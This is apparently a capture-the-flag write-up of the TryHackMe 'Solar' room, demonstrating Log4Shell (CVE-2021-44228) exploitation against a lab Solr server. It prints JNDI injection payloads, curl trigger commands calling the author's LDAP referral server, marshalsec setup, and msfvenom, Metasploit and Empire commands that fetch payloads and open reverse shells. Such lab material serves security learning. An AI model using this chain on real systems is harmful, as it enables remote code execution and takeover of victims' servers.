TryHackMe — Solar
What’s going on h4x0rs this is shellbr3ak, and today we’re going to be doing something a little bit different than regular CTFs.
As you’ve seen in the news, a very serious 0-day was discovered in the Log4j
java logging utility which is a part of Apache Logging Services and also one of several java logging frameworks. This CVE affects all versions from 2.0-beta9 to 2.14.1 and was rated as critical in terms of severity with a CVSS score of 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
Description
In Apache Log4j2
versions up to and including 2.14.1
(excluding security releases 2.3.1
, 2.12.2
and 2.12.3
), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
So, enough talking about the CVE itself, and let’s begin with the fun part.
Exploitation
As a testing environment, I have decided to solve the Solar
room from Tryhackme.com .
The IP of the machine is: 10.10.174.54
As I’m only trying to demonstrate how to exploit this CVE, I am not going to show the nmap scan results, and I will also not show any other stuff like privilege escalation of content discovery, etc.
According to the room’s description the vulnerable service is running on port 8983
.
Visiting the following URL:
And we get redirected to:
Now, in this room we’re presented a zip file to download, inside of which we can find that the endpoint admin/cores
is being requested.
So, let’s give that a visit.
Keep in mind that in the main webpage, we’ve seen that Log4j
logging utility is being used already.
Visiting http://10.10.174.54:8983/solr/admin/cores
led us to this page:
Knowing that the payloads to exploit CVE-2021–44228 could be submitted from the parameters (got that information from the files I’d downloaded).
In the room you can find several payloads that can be used to test for the existence of the vulnerability.
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
${jndi:ldap://ATTACKERCONTROLLEDHOST}
In my case, I will be using the last payload to get a connection back to my listener (which happens to be my favorite method, because it can find all type of blind injection vulns).
Since we won’t need BurpSuite or any web browser to exploit the vulnerability, I will be using the curl
command-line utility.
Setting my listener on port 9999
I will be executing the following command to see if I get any callbacks on port 9999.
curl ‘http://10.10.174.54:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.18.93:9999/a\}'
And indeed, we got it.
which confirms the existence of the vulnerability. Now let’s try to get a shell.
At this point, we have verified the target is in fact vulnerable by seeing this connection caught in our netcat listener. However, it made an LDAP request. So all our netcat listener may have seen was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.
As demonstrated in the room, we will be utilizing an open-source and public utility to stage an “LDAP Referral Server”. This will be used to essentially redirect the initial request of the victim to another location, where we can host a secondary payload that will ultimately run code on the target.
${jndi:ldap://attackerserver:1389/Resource}
-> reaches out to our LDAP Referral Server- LDAP Referral Server springboards the request to a secondary http://attackerserver/resource
- The victim retrieves and executes the code present in http://attackerserver/resource
This means we will need an HTTP server.
Now, here comes the hard part.
The first order of business however is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at
We must build marshalsec with the Java builder maven. If you do not yet have maven on your system, you can install it through your package manager.
sudo apt install maven
Next, run the command to build marshalsec
utility.
mvn clean package -DskipTests
With the marshalsec utility built, we can start an LDAP referral server to direct connections to our secondary HTTP server.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
the Exploit
is going to be our payload, and it should be saved as .java
file.
Content of Exploit.java
:
As you can see, the payload runs a nc
command on the server side to get us our shell.
Now, we need to compile our java file using the following command:
javac Exploit.java -target 8 -source 8
Please note that java 8 is required in this attack.
Now we have got all the pieces ready.
Our web server :
Our LDAPRefServer:
Our command to trigger the vulnerability and get the exploit running on server-side:
curl ‘http://10.10.174.54:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.18.93:8888/Exploit\}'
And we got it:
Callback to our LDAPRefServer:
2 GET requests to our web server indicating that the exploit was requested, and as a result of requesting the Exploit.class
and running it, our shell.sh
got requested as well.
Output of our curl
command:
Our shell:
So, that was it. This is how you can exploit CVE-2021–44228
The creator of this room John Hammond
tells us to go further beyond getting a generic netcat
reverse shell and try to get a meterpreter session as well as an empire agent.
So, let’s do the meterpreter session part.
Using the following command, we have created our meterpreter payload.
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=10.9.18.93 LPORT=8484 -f elf -o shell.elf
Now, we will set our listener.
Launch metasploit with msfconsole
and run the following commands:
- use exploit/multi/handler
- set PAYLOAD linux/x64/meterpreter_reverse_tcp
- set LPORT 8484
- run
In order to make the exploitation faster, I have written 2 exploits.
First one is called Exploit.java
, and the second one is Run.java
.
Exploit.java:
Run.java:
Note that you need to recompile your java file each time you change the payload.
Now, turn off your LDAPRefServer and re-run it with the following command:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://10.9.18.93:8443/#Exploit" 8888
To get the command inside Exploit.java
running we will exploit the vulnerability using curl
utility again:
curl ‘http://10.10.82.237:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.18.93:8888/Exploit\}'
On our web server, we see 2 requests:
This means that wget
command was run successfully. Time to get a meterpreter shell.
Now the elf
binary we have created with msfvenom
needs to have execute permissions to run. So, we will need a third java file.
Turn off your marshalsec
utility and run it back again with the following command:
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://10.9.18.93:8443/#Change" 8888
Command to trigger the exploit:
curl ‘http://10.10.82.237:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.18.93:8888/Change\}'
We got another callback on our web server:
Now we need to kill the marshalsec
utility and run it back again after changing the codebase name.
Again, turn the marshalsec
utility off, and change the codebase name.
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://10.9.18.93:8443/#Run" 8888
curl ‘http://10.10.82.237:8983/solr/admin/cores?foo=$\{jndi:ldap://10.9.18.93:8888/Run\}'
And we got another callback to our web server.
And most importantly, we got our meterpreter session opened.
Now, we will do the Empire agent part.
Go ahead and fire up both powershell-empire server
, and powershell-empire client
.
We need to set up a listener and a stager to get an agent on the target machine.
On powershell-empire client
part, run the following command:
uselistener http
set Host VPN-IP
set Port PORT
execute
On the powershell-empire server
side, you should see this message:
To create a stager, on the powershell-empire client
side, use the command usestager multi/bash
, then execute the following :
usestager multi/stager
set Listener LISTENER_NAME
execute
This will generate a bash payload, let’s save that payload and upload it to the target host using the same previous method.
In my case, I stored it in a file and named it agent.sh
.
Now, we need to modify our java files a little bit.
Exploit.java :
Run.java :
Recompile:
Run:
And we got the callbacks.
Now that we know our agent.sh
stager is uploaded to the target host, let’s run it.
On powershell-empire client
side, you should see the following output:
which indicates that our agent was successfully executed and self-deleted.
On the powershell-empire server
side, the following output is observed:
Back to the client
side, execute the command agents
to see the active agents.
In my case, I have two agents, one dead, and the one we just uploaded (green colored).
You can interact with the agent using the command interact AGENT_NAME
.
As you can see, we got the output of the command whoami
sent back to us.
So, that was it. We have demonstrated how to exploit Log4Shell to get a shell in 3 different ways. I hope you guys enjoyed it and I will see you all in the next write-up.